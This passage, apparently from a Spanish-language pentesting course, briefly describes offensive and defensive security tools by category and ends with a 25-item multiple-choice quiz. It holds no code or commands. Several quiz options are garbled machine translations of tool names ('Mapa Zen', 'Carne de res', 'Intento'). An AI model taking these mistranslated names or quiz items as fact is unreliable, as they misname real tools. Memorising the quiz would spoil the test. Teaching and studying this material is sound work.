 Recon-ng : Recon-ng es una herramienta con menús diseñada específicamente
para automatizar la recopilación de información OSINT. Incluye una amplia gama
de módulos que permiten realizar búsquedas detalladas en registros públicos,
archivos, registros DNS y otras fuentes. Recon-ng permite consultar herramientas y
fuentes de terceros como Shodan, plataformas de redes sociales y motores de
búsqueda.
 Censys : Censys proporciona información sobre dispositivos y redes en Internet.
Ofrece tanto una interfaz web como una API y proporciona acceso gratuito con
limitaciones en el número de consultas.
Herramientas para el reconocimiento activo
 Nmap y Zenmap : Nmap es una herramienta integral para el reconocimiento
activo, que proporciona diversas opciones de escaneo para enumerar hosts y
descubrir puertos abiertos. Zenmap es una herramienta con interfaz gráfica de
usuario (GUI) que mejora la usabilidad de Nmap y ofrece funciones como la
visualización de la topología de red.
 Enum4linux : Enum4linux está diseñado específicamente para enumerar recursos
compartidos SMB (Server Message Block) e implementaciones vulnerables de

114
Samba. Ayuda a identificar usuarios y enumerar los recursos compartidos SMB
disponibles en un host objetivo.
Herramientas comunes para el escaneo de vulnerabilidades
Estas herramientas ofrecen diversas funcionalidades para el análisis de
vulnerabilidades, las pruebas de seguridad de aplicaciones web y la detección de fallos
de seguridad comunes. Son ampliamente utilizadas por profesionales de la seguridad y
pentesters para evaluar la seguridad de sistemas y aplicaciones.
 OpenVAS : OpenVAS es un escáner de vulnerabilidades de código abierto que
permite realizar un análisis detallado de las vulnerabilidades de hosts y redes.
Ofrece diversos servicios y herramientas, y puede utilizarse para analizar e
identificar vulnerabilidades. Se puede programar y configurar para realizar análisis
mediante diferentes métodos e interfaces.
 Nessus : Nessus es un escáner de vulnerabilidades que permite la monitorización
continua y el análisis de cumplimiento. Proporciona funciones para escanear y
detectar vulnerabilidades, y admite integraciones con otros productos de
seguridad.
 Nexpose : Nexpose, creado por Rapid7, es un popular escáner de vulnerabilidades
utilizado por profesionales de las pruebas de penetración. Ofrece funciones para el
escaneo de vulnerabilidades y puede integrarse con otras herramientas de
seguridad.
 Qualys : Qualys es una empresa de seguridad que ofrece un servicio de gestión y
monitorización de vulnerabilidades en la nube. Proporciona monitorización
continua, gestión de vulnerabilidades y verificación del cumplimiento normativo.
Qualys interactúa con diferentes tipos de escáneres y agentes para ofrecer
evaluaciones de seguridad integrales.
 SQLmap : SQLmap es una herramienta utilizada para automatizar la detección y
explotación de vulnerabilidades de inyección SQL en aplicaciones web. Ayuda a
enumerar las aplicaciones vulnerables y puede explotar técnicas de inyección SQL.
 Nikto : Nikto es un escáner de vulnerabilidades web de código abierto que permite
buscar vulnerabilidades comunes en la web. Se puede utilizar para detectar fallos
de seguridad en aplicaciones y servidores web.
 OWASP ZAP : OWASP Zed Attack Proxy (ZAP) es una herramienta de seguridad
gratuita muy utilizada que ofrece capacidades de escaneo de vulnerabilidades web.
También puede usarse como proxy web y fuzzer. ZAP ofrece una API para la
automatización y cuenta con el mantenimiento activo de una amplia comunidad de
colaboradores.
 w3af : w3af es un escáner de vulnerabilidades de código abierto para aplicaciones
web. Permite buscar vulnerabilidades en aplicaciones web y ofrece varios plugins
para diferentes tipos de pruebas de vulnerabilidades.
 DirBuster : DirBuster es una herramienta diseñada para realizar un ataque de
fuerza bruta contra directorios y nombres de archivo en servidores de aplicaciones
web. Es un proyecto inactivo y su funcionalidad se ha integrado y mejorado en
OWASP ZAP como complemento.
Herramientas comunes para ataques a credenciales
Estas herramientas ofrecen diferentes capacidades para descifrar contraseñas, adivinar
credenciales y generar listas de palabras, atendiendo a diversos propósitos de pruebas
de seguridad y ataques.

115
 John the Ripper : John the Ripper es una herramienta popular para descifrar
contraseñas sin conexión. Admite varios modos de descifrado y puede descifrar
contraseñas mediante patrones de búsqueda o listas de palabras. Es compatible
con diferentes formatos de texto cifrado, incluyendo variantes de DES, MD5 y
Blowfish. John the Ripper se puede usar para extraer contraseñas de diversas
fuentes, como archivos de contraseñas y Kerberos AFS.
 Cain : Cain (o Cain y Abel) es una herramienta utilizada para la recuperación de
contraseñas en sistemas Windows. Puede realizar capturas de paquetes, descifrar
contraseñas cifradas mediante ataques de diccionario y de fuerza bruta, y emplear
otras técnicas para recuperar las credenciales de usuario.
 Hashcat : Hashcat es una herramienta para descifrar contraseñas muy popular
entre los pentesters. Utiliza unidades de procesamiento gráfico (GPU) para acelerar
el proceso. Admite varios algoritmos y ofrece flexibilidad en el uso de listas de
palabras y diferentes modos de ataque.
 Hydra : Hydra es una herramienta para adivinar y descifrar credenciales probando
combinaciones de nombre de usuario y contraseña en servidores objetivo como
servidores web, FTP, SSH y de archivos. Admite ataques de diccionario y de fuerza
bruta, y puede utilizarse para automatizar el descifrado de credenciales.
 RainbowCrack : RainbowCrack es una herramienta que automatiza el descifrado de
contraseñas mediante tablas precalculadas conocidas como tablas Rainbow. Las
tablas Rainbow aceleran el proceso de descifrado al proporcionar un método para
revertir las funciones hash criptográficas y derivar contraseñas a partir de valores
hash.
 Medusa y Ncrack : Medusa y Ncrack son herramientas similares a Hydra, utilizadas
para realizar ataques de fuerza bruta contra sistemas. Medusa se puede instalar en
sistemas Linux basados en Debian, mientras que Ncrack se puede descargar del
sitio web oficial de Nmap. Ambas herramientas son compatibles con diversos
protocolos y permiten realizar ataques de diccionario y de fuerza bruta.
 CeWL : CeWL es una herramienta que se utiliza para crear listas de palabras
mediante el rastreo de sitios web. Extrae palabras del sitio web objetivo, lo que
permite a los usuarios generar listas de palabras personalizadas para descifrar
contraseñas u otros fines.
 Mimikatz : Mimikatz es una herramienta versátil utilizada por pentesters,
atacantes e incluso malware para recuperar hashes de contraseñas de la memoria.
Se usa comúnmente como herramienta post-explotación y se puede descargar
desde GitHub. Mimikatz también está integrado en Metasploit como un script de
Meterpreter.
 Patator : Patator es una herramienta diseñada para ataques de fuerza bruta contra
diversos tipos de credenciales, como nombres de usuario SNMPv3 y contraseñas
VPN. Ofrece múltiples módulos y puede utilizarse para automatizar ataques a
credenciales.
Herramientas comunes para la persistencia
 PowerSploit : Una colección de módulos de PowerShell que se pueden utilizar para
la post-explotación y otras fases de una evaluación.
 Empire : Un marco de trabajo de post-explotación de código abierto basado en
PowerShell que incluye un agente de Windows de PowerShell y un agente de Linux
de Python.

116
Herramientas comunes para la evasión
 Veil : Veil es un framework que funciona junto con Metasploit para eludir las
comprobaciones de antivirus y otros controles de seguridad. Ofrece técnicas de
evasión y puede generar payloads con menor probabilidad de ser detectados por el
software antivirus. Veil está disponible para su descarga en GitHub y proporciona
documentación detallada en su sitio web.
 Tor : Tor es una herramienta gratuita que permite a los usuarios navegar por la
web de forma anónima enrutando su tráfico IP a través de una red de nodos Tor.
Utiliza el enrutamiento cebolla para cifrar y enrutar los datos a través de múltiples
nodos, lo que dificulta rastrear la ubicación del usuario. Tor se usa comúnmente
para proteger la privacidad y puede ayudar a evadir la vigilancia y los controles de
seguridad.
 Proxychains : Proxychains es una herramienta que obliga a determinadas
aplicaciones a usar Tor u otros tipos de proxy para las conexiones TCP. Se puede
usar para redirigir el tráfico de red a través de proxies y mejorar las técnicas de
evasión. Proxychains está disponible para su descarga en GitHub.
 Cifrado : El cifrado desempeña un papel fundamental en la seguridad y la
privacidad, pero también puede plantear dificultades en la respuesta a incidentes y
el análisis forense. Si bien el cifrado protege la información confidencial, los
ciberdelincuentes pueden usarlo para evadir la detección y ocultar sus actividades.
Los productos de seguridad pueden interceptar e inspeccionar el tráfico cifrado, y
otros registros y metadatos pueden utilizarse para fines de investigación.
 Encapsulación y tunelización mediante DNS : Los ciberdelincuentes han explotado
técnicas no convencionales, como la tunelización DNS, para extraer datos de redes
corporativas. La tunelización DNS consiste en utilizar protocolos DNS para enviar
datos no autorizados, como información de tarjetas de crédito robadas, propiedad
intelectual o documentos confidenciales. Se han desarrollado diversas
herramientas para realizar la tunelización DNS, lo que permite a los
ciberdelincuentes eludir la supervisión y los controles de seguridad.
Marcos de explotación
 Metasploit : Metasploit es un framework de explotación ampliamente utilizado,
creado por HD Moore y actualmente propiedad de Rapid7. Ofrece una edición
comunitaria (gratuita) y una edición profesional. Metasploit cuenta con una
arquitectura robusta, escrita en Ruby, y viene preinstalado en Kali Linux.
Proporciona diversos módulos para exploits, tareas auxiliares, codificadores,
payloads y más. La consola de Metasploit (msfconsole) se utiliza para interactuar
con el framework y admite una base de datos PostgreSQL para indexar y acelerar
tareas.
 BeEF : BeEF es un framework de explotación diseñado específicamente para
pruebas de aplicaciones web. Explota vulnerabilidades del navegador e interactúa
con él para ejecutar módulos de comandos dirigidos. BeEF permite atacar múltiples
navegadores en diferentes contextos de seguridad, lo que posibilita a los
profesionales de seguridad desplegar vectores de ataque y módulos específicos en
tiempo real. Cuenta con una extensa biblioteca de módulos de comandos y admite
el desarrollo de módulos personalizados.
Herramientas comunes de descompilación, desensamblaje y depuración

117
Estas herramientas de depuración ofrecen capacidades para depurar, analizar y
realizar ingeniería inversa de software y binarios.
 Depurador del Proyecto GNU (GDB) : Un depurador popular utilizado para
solucionar problemas y encontrar errores en el software. Admite múltiples
lenguajes de programación.
 Depurador de Windows (WinDbg) : Se utiliza para analizar el código del kernel y
del modo usuario en Windows, el análisis de volcados de memoria y el análisis de
registros de la CPU.
 OllyDbg : Depurador para analizar aplicaciones de Windows de 32 bits,
comúnmente utilizado en pruebas de penetración e ingeniería inversa.
 Depurador edb : Depurador multiplataforma compatible con arquitecturas
AArch32, x86 y x86-64, incluido en Kali Linux.
 Ghidra : Una herramienta de ingeniería inversa gratuita y de código abierto
desarrollada por la NSA, que proporciona potentes capacidades de descompilación
y análisis para múltiples arquitecturas.
 IDA : Desensamblador, depurador y descompilador comercial ampliamente
utilizado para analizar archivos binarios e ingeniería inversa.
 Objdump : Programa de Linux para mostrar información sobre archivos objeto,
comúnmente utilizado para comprobaciones rápidas y desensamblaje de binarios.
Herramientas comunes para análisis forense
Estas herramientas ayudan a los investigadores forenses a analizar pruebas digitales,
recuperar datos y extraer información valiosa para las investigaciones.
 Autopsy : Plataforma de análisis forense digital de código abierto con una interfaz
gráfica para analizar pruebas digitales.
 El Kit de Investigación : Colección de herramientas de línea de comandos para el
análisis de imágenes de disco y sistemas de archivos.
 Volatilidad : Marco de análisis forense de memoria para analizar la memoria volátil
en un sistema.
 EnCase : Herramienta comercial de análisis forense digital con funciones como
creación de imágenes de disco, recuperación de archivos y análisis de correo
electrónico.
 FTK (Forensic Toolkit) : Herramienta forense digital comercial para la creación de
imágenes de disco, análisis de archivos y recuperación de datos.
 Wireshark : Analizador de protocolos de red para análisis forense de redes y
captura de tráfico de red.
 Cellebrite UFED : Herramienta forense móvil para extraer y analizar datos de
dispositivos móviles.
 X-Ways Forensics : Herramienta forense integral con funciones para la creación de
imágenes de disco, análisis de archivos y análisis del registro.
Herramientas comunes para la garantía de software
Estas herramientas ayudan a garantizar la calidad y la seguridad del software mediante
la detección de errores, vulnerabilidades y posibles problemas.
 SpotBugs : Anteriormente conocido como FindBugs, SpotBugs es una herramienta
de análisis estático para aplicaciones Java que ayuda a identificar errores y posibles
problemas en el código Java.

118
 Findsecbugs : Findsecbugs es una herramienta específica para Java que se centra
en la detección de errores de seguridad en aplicaciones Java. Se integra
perfectamente con sistemas de integración continua como Jenkins y SonarQube.
 SonarQube : SonarQube es una herramienta integral para identificar
vulnerabilidades y problemas de calidad en el código. Es compatible con entornos
de integración continua y DevOps.
 Fuzzers y pruebas de fuzzing : Las pruebas de fuzzing son una técnica que se utiliza
para identificar errores de software y vulnerabilidades de seguridad mediante la
inyección de datos aleatorios o malformados. Los fuzzers son las herramientas que
se utilizan para realizar estas pruebas. A continuación, algunos ejemplos:
 Peach : Peach es un fuzzer popular que ofrece tanto una versión gratuita (de
código abierto) llamada Peach Fuzzer Community Edition como una versión
comercial.
 Mutiny Fuzzing Framework : Desarrollado por Cisco, Mutiny Fuzzing Framework es
un fuzzer de código abierto que reproduce archivos de captura de paquetes
(pcaps) a través de un fuzzer mutacional.
 American Fuzzy Lop (AFL) : AFL es un fuzzer ampliamente utilizado que incorpora
instrumentación en tiempo de compilación y algoritmos genéticos para mejorar la
cobertura funcional de los casos de prueba de fuzzing.
Herramientas inalámbricas
 Wifite2: Un programa en Python para probar redes inalámbricas.
 Puntos de acceso no autorizados: Puede crear fácilmente puntos de acceso no
autorizados utilizando herramientas de código abierto como hostapd.
 EAPHammer: Esta herramienta puede utilizarse para realizar ataques de gemelos
malvados.
 mdk4: Esta herramienta se utiliza para realizar fuzzing, evasión de IDS y otros
ataques inalámbricos.
 Spooftooph: Esta herramienta se utiliza para suplantar y clonar dispositivos
Bluetooth.
 Reaver: Esta herramienta se utiliza para realizar ataques de fuerza bruta contra
implementaciones de Wi-Fi Protected Setup (WPS).
 Motor de registro geográfico inalámbrico (WiGLE): Esta es una herramienta de
guerra.
 Fern Wi-Fi Cracker: Esta herramienta se utiliza para realizar diferentes ataques
contra redes inalámbricas, incluyendo el descifrado de claves WEP, WPA y WPS.
Herramientas de esteganografía
 OpenStego: Puedes descargar esta herramienta de esteganografía desde
[Link]
 Snow: Herramienta de esteganografía basada en texto.
 Coagula: Este programa puede utilizarse para crear sonido a partir de una imagen.
 Visualizador sónico: Esta herramienta se puede utilizar para analizar la información
incrustada en música o grabaciones de audio.
 TinEye: un sitio web de búsqueda de imágenes inversas.
 metagoofil: Esta herramienta se puede utilizar para extraer información de
metadatos de documentos e imágenes.
Herramientas en la nube

119
 ScoutSuite: Se pueden utilizar herramientas para revelar vulnerabilidades en
AWS, Azure, Google Cloud Platform y otras plataformas en la nube.
 CloudBrute: Una herramienta de enumeración en la nube.
 Pacu: Un marco de trabajo para la explotación de AWS.
 Cloud Custodian: Una herramienta de seguridad, gobernanza y gestión en la
nube.
10.3.2 Preguntas de reflexión
¡Guau! Has pasado por mucho durante tu entrenamiento. Has aprendido muchísimo y
has hecho cosas increíbles. Repasa tu entrenamiento y piensa en tus fortalezas y
debilidades. ¿Qué habilidades y conocimientos has dominado y en qué necesitas seguir
trabajando? Hay muchos sitios web donde puedes encontrar más información y
también muchos laboratorios gratuitos.
Hay escasez de personal especializado en ciberseguridad y una gran demanda de
pentesters. Sigue estudiando y empieza a buscar puestos de nivel inicial. ¡Estás en
buen camino hacia el trabajo de tus sueños!
Pregunta 1
¿Cuáles dos elementos son construcciones de lógica de programación? (Elija dos).
operadores booleanos
Condicionales
Matrices
Diccionarios
Bibliotecas
Pregunta 2
¿Cuáles dos elementos son estructuras de datos utilizadas en lenguajes de
programación? (Elija dos).
Procedimientos
funciones
Matrices
Liza
Bibliotecas
Pregunta 3
¿Cuáles dos elementos pueden incluirse en una biblioteca? (Elige dos).
Plantillas de mensajes
Subrutinas
Árboles
Bases de datos
Condicionales
Pregunta 4
¿Cuál es la definición de un procedimiento utilizado en un software de aplicación?
Es una sección de código creada para realizar una tarea específica.
Es una colección de recursos que los programas pueden reutilizar.

120
Se trata de una estructura de datos no lineal representada mediante nodos en un
modelo jerárquico.
Es una colección de valores de datos ordenados mediante un par clave/valor.
Pregunta 5
¿Qué estructura de datos de algún lenguaje de programación es una variable especial
que puede tener más de un valor a la vez?
Lista
Formación
Árbol
Archivo con valores separados por comas
Pregunta 6
¿Qué término describe un componente de un lenguaje de programación como la
notación de objetos de JavaScript (JSON)?
Estructuras de datos
Estructuras lógicas
Procedimientos
Clases
Pregunta 7
¿Qué tipo de estructura de datos en Python se representa en el siguiente ejemplo?
cves = ['CVE-2022-0945', 'CVE-2023-1234', 'CVE-2022-0987']
Lista
Árbol
Formación
Diccionario
Pregunta 8
¿Qué elementos de un lenguaje de programación realizan tareas similares?
Procedimientos y funciones
Procedimientos y bibliotecas
Bibliotecas y clases
Funciones y bibliotecas
Pregunta 9
¿Cuál es la definición de biblioteca en software de aplicación?
Es una sección de código creada para realizar una tarea específica.
Es una colección de recursos que pueden ser reutilizados por los programas.
Se trata de una estructura de datos no lineal representada mediante nodos en un
modelo jerárquico.
Es una colección de valores de datos que se ordenan mediante un par clave/valor.
Pregunta 10

121
¿Qué utilidad de consulta de bases de datos de nombres de dominio ha sido
restringida por el Reglamento General de Protección de Datos (RGPD) de la Unión
Europea para proteger la privacidad?
Excavar
Quién es
FOCA
la cosechadora
Pregunta 11
¿Cuáles son dos herramientas que se pueden utilizar para realizar reconocimiento
activo? (Elija dos).
Nslookup
Mapa Zen
Colina
Enum4linux
Maltego
Pregunta 12
¿Cuáles son dos herramientas que se pueden utilizar para realizar ataques a las
credenciales? (Elija dos).
Nslookup
FOCA
Mimikatz
Censys
Patator
Pregunta 13
¿Qué distribución de Linux incluye más de 1900 herramientas de pruebas de
penetración de seguridad?
BlackArch Linux
Parrot OS
Kali Linux
Volver hacia atrás
Pregunta 14
¿Qué herramienta está diseñada para encontrar metadatos e información oculta en
documentos?
la cosechadora
FOCA
Herramienta Exif
Shodan
Pregunta 15

122
¿Qué elemento de un lenguaje de programación es un bloque de código que se
puede reutilizar varias veces para ejecutar una tarea específica?
Función
Notación de objetos JavaScript (JSON)
Formación
Clase
Pregunta 16
¿Qué herramienta organiza las entidades de consulta dentro de la Paleta de Entidades
y denomina "transformaciones" a las opciones de búsqueda?
Shodan
FOCA
Maltego
la cosechadora
Pregunta 17
¿Qué elemento del lenguaje de programación es una plantilla de código que incluye
variables iniciales y funciones para crear un objeto?
Clase
Función
Formación
Procedimiento
Pregunta 18
¿Qué herramienta de reconocimiento pasivo se puede utilizar para encontrar
información sobre dispositivos y redes en Internet?
Recon-ng
Maltego
Censys
la cosechadora
Pregunta 19
¿Qué es una herramienta de línea de comandos que permite la ejecución de comandos
de forma interactiva o no interactiva?
Intento
Kali Linux
Parrot OS
Metasploit
Pregunta 20
¿Qué distribución popular de Linux para pruebas de penetración está basada en
Debian GNU/Linux y ha evolucionado a partir de WHoppiX, WHAX y BackTrack?
Kali Linux
Parrot OS

123
BlackArch Linux
Cebolla de seguridad
Pregunta 21
¿Qué herramienta de escaneo de vulnerabilidades ofrece un servicio basado en la
nube que realiza monitoreo continuo, gestión de vulnerabilidades y verificación de
cumplimiento?
w3af
Nikto
Mapa SQL
Qualys
Pregunta 22
¿Qué opción es una herramienta de post-explotación basada en PowerShell que puede
mantener la persistencia en un sistema comprometido y ejecutar agentes de
PowerShell sin necesidad de [Link]?
Imperio
Velo
Patator
Cebolla de seguridad
Pregunta 23
¿Qué herramienta se puede utilizar con Metasploit para mantener el sigilo y evitar la
detección por parte de los controles de seguridad implementados por una
organización?
Velo
Imperio
Patator
Cebolla de seguridad
Pregunta 24
¿Qué método de codificación puede exfiltrar secretamente datos confidenciales en la
carga útil de los paquetes DNS?
Base64
MD5
ASCII
HTML
Pregunta 25
¿Qué distribución de Linux es una herramienta útil para la recopilación de pruebas
forenses?
CAINE
Carne de res
Ghidra

124
Metasploit

125

También podría gustarte